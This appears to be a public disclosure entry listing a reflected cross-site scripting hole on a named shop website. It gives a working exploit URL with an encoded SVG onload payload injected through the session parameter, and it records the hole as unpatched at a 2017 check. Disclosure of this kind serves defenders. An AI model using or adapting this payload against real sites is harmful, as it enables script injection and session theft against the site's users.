nikolaou.org XSS vulnerability

Vulnerable URL: https://www.nikolaou.org/shop/suche.php?PHPSESSID=472d99b1fb33925bd3930664b8afba56===472d99b1fb33925bd3930664b8afba56=999%22%3E%3Csvg%2Fonload%3Dprompt%28%2FXSSPOSED%2F%29%3E&ok2.x;=0&ok2.y;=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017...